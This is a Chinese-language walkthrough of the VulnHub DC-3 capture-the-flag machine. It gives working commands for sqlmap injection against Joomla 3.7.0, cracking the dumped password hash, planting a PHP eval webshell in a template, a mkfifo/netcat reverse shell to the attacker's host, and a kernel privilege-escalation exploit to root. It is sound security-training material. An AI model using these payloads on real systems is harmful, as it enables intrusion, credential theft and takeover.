一.DC3环境
1.先去下载DC2靶机,下载地:https://download.vulnhub.com/dc/DC-3-2.zip
2.我们的实验环境依旧是kali虚拟机
二.DC3通关
1.首先打开虚拟机进行,信息收集
DC1和DC3前几步差不多,我们同样不知道DC3的IP地址利用ifconfig查看自己的虚拟机ip
-sP是只扫描在线的主机,不扫描端口nmap -sP 192.168.211.0/24(每个人的IP都不相同)
本机IP为192.168.211.128
所以分析可得靶机IP为192.168.211.131
192.168.211.1 wm8网卡
192.168.211.2 网关
192.168.211.131 靶机
192.168.211.254 DHCP服务器
192.168.211.128 kali本机
2.收集信息,查看端口和服务
-A所有信息(系统版本有哪些端口等等)
-v他会给出扫描过程中的详细信息 -p指定地址或端口
nmap -A -p- -v 192.168.***.***(后两位是DC3的IP同样每人不相同)
发现了80端口,存在wed服务Apache/2.4.18,CMS为Joomla
3.访问web站点(DC3的ip)
192.168.***.***(这里是你们DC3的ip)
他告诉我们DC3实验只有一个目标获得root权限
4.利用joomscan进行扫描获取后台地址
我们前面用nmap进行扫描时就已经发现了中间件为joomla,所以我们可以用joomscan进行扫描,如不是那我们可以用目录扫描或者是nikto等工具进行扫描,发现更多信息。
(1.)JoomScan简介
OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。
(2.)JoomScan简单使用
执行默认检测:
perl joomscan.pl --url www.example.com
perl joomscan.pl -u www.example.com
枚举已安装的组件:
perl joomscan.pl --url www.example.com --enumerate-components
perl joomscan.pl -u www.example.com –ec
设置cookie:
perl joomscan.pl --url www.example.com --cookie "test=demo;"
设置user-agent:
perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
设置随机user-agent
perl joomscan.pl -u www.example.com --random-agent
perl joomscan.pl --url www.example.com -r
更新JoomScan:
perl joomscan.pl –update
5.joomscan扫描
joomscan --url http://192.168.211.131提示没有joomscan 选择y安装
之后根据提示输入apt install joomscan,出现(大概意思就是否执行输入y即可)
joomscan --url http://192.168.211.131(再次输入就可以进行扫描了)
知道了joomla cms版本3.7.0
得到了网站后台地址http://192.168.211.131/administrator/
6.利用nikto进行扫描获得后台地址
nikto --url http://192.168.211.131/(目录扫描)
7.查找漏洞发现存在SQL注入
(1)前面知道了cms为joomla,版本为3.7.0,用searchsploit检查到有对应的漏洞
searchsploit joomla 3.7.0(查看漏洞)
发现有一个SQL注入,还存在一个XSS
(2)我们还可以查看一下这个漏洞的提示信息
searchsploit -m 42033.txt(查看漏洞提示信息)
(3)红框中是提示信息的所在地我们用cat(查看)
cat 42033.txt(查看)
(4)我们看到了POC,我们验证一下,把localhost修改为我们的DC3IP就行
http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
看到提示,数据库语句错误,说明进行了拼接,存在SQL注入
8.sqlmap跑出数据
(1)跑出所有的数据库
sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
扫描结果
成功把数据库报出来了
(2)获取当前所处数据库名称joomladb
sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch(爆出当前所处的数据库名称)
(3)爆出当前数据库的所有表名
sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
观察表名很显然我们会看#_users这张表
(4)查看joomladb的users表的字段名
sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项输入y回车
第二个也是直接y回车
第三个这个一二都行我这里选择1
第四个这里是第10个线程
最中出来了六个字段
第五个查看目标字段username(账号)和password(密码)
sqlmap -u "http://192.168.211.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
9.利用John爆破密码snoopy
使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。
创建一个1.txt,把加密的密码字段写入
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > 1.txt(创建)
cat 1.txt(查看)
使用john破解出admin密码是snoop
john 1.txt(破解密码)
10.利用破解到的账号和密码进行登录
http://192.168.211.131/administrator/
admin(账号)/snoopy(密码)
登录成功
11.上传webshell
发现一个上传点
点击Beez3 Details and Files进入
点击newfiles(上传文件或创建)
这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录:
http://192.168.211.131/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
创建完成之后会跳到编辑页面,然后我们输入php一句话,然后点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问http://192.168.211.131/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
http://192.168.211.131/templates/beez3/html/shell.php
访问webshell,得到我们设置的内容,文件上传成功
12.蚁剑管理webshell
打开蚁剑,鼠标右键添加数据
http://192.168.211.131/templates/beez3/html/shell.php
连接密码a
之后再点击添加
鼠标右键进入虚拟终端
执行whoami查询我权限,是www-data权限
13.反弹shell到kali(虚拟机)
蚁剑看到的终端不如kali清晰,反弹一个shell到kali(虚拟机)
(1)kali(虚拟机)监听
nc -lvvp 1234
(2)靶机连接
回到蚁剑终端
nc -e /bin/bash 192.168.211.128 1234(这里用到的地址是虚拟机的不是DC3的)
发现-e参数不可用
使用如下目录连接(这里用到的地址是虚拟机的不是DC3的)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.211.128 1234 >/tmp/f
回到虚拟机查看
连接成功(如不成功多试几次rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.211.128 1234 >/tmp/f)
14.创建交互式shell
经常用shell的都知道这个shell不好用,我们建立一个交互式shell常用的就是python创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
ls(查看)
15.使用辅助脚本发现提权漏洞
(1)下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
上传完成回到虚拟机
ls(查看)
发现漏洞linux-exploit-suggester.sh
发现没有执行权限,我们给他加个执行文件
chmod +x linux-exploit-suggester.sh
ls -l linux-exploit-suggester.sh
执行脚本
./linux-exploit-suggester.sh
发现很多可利用漏洞
16.使用辅助脚本提权
(1)获取提权脚本
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
在图片里可以看到是一个39772的文件,如给出的那个地址无法下载
也可以去searchsploit里面去看看
Searchsploit -m 39772.txt
cat 39772.txt(查看)
如地址根上面一样也不能使用
可以使用下面地址直接下载
bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
ls(查看)
unzip 39772.zip(解压)
cd 39772(进入)
ls(查看)
tar -xvf exploit.tar(打开文件)
cd ebpf_mapfd_doubleput_exploit(进入)
ls(查看)
提权
./compile.sh(第一次提权)
./doubleput.c(第二次)
ls(查看)
./doubleput(最后一次)
执行完成,提权成功
获得root权限
whoami
17.发现the-flag.txt文件
进入root权限
cd /root(进入)
ls(查看)
cat the-flag.txt(打开)
I hope you've enjoyed this challenge as I enjoyed making it.
我希望你喜欢这个挑战,因为我喜欢做它。
If there are any ways that I can improve these little challenges,
please let me know.
如果有什么方法可以让我改善这些小挑战, 请告诉我。
As per usual, comments and complaints can be sent via Twitter to @DCAU7
和往常一样,评论和投诉可以通过推特发送到@DCAU7
Have a great day!!!!
祝你有美好的一天!!!!
大致的意思就是你已经通关了DC3,(那DC3就到这了大家拜拜~)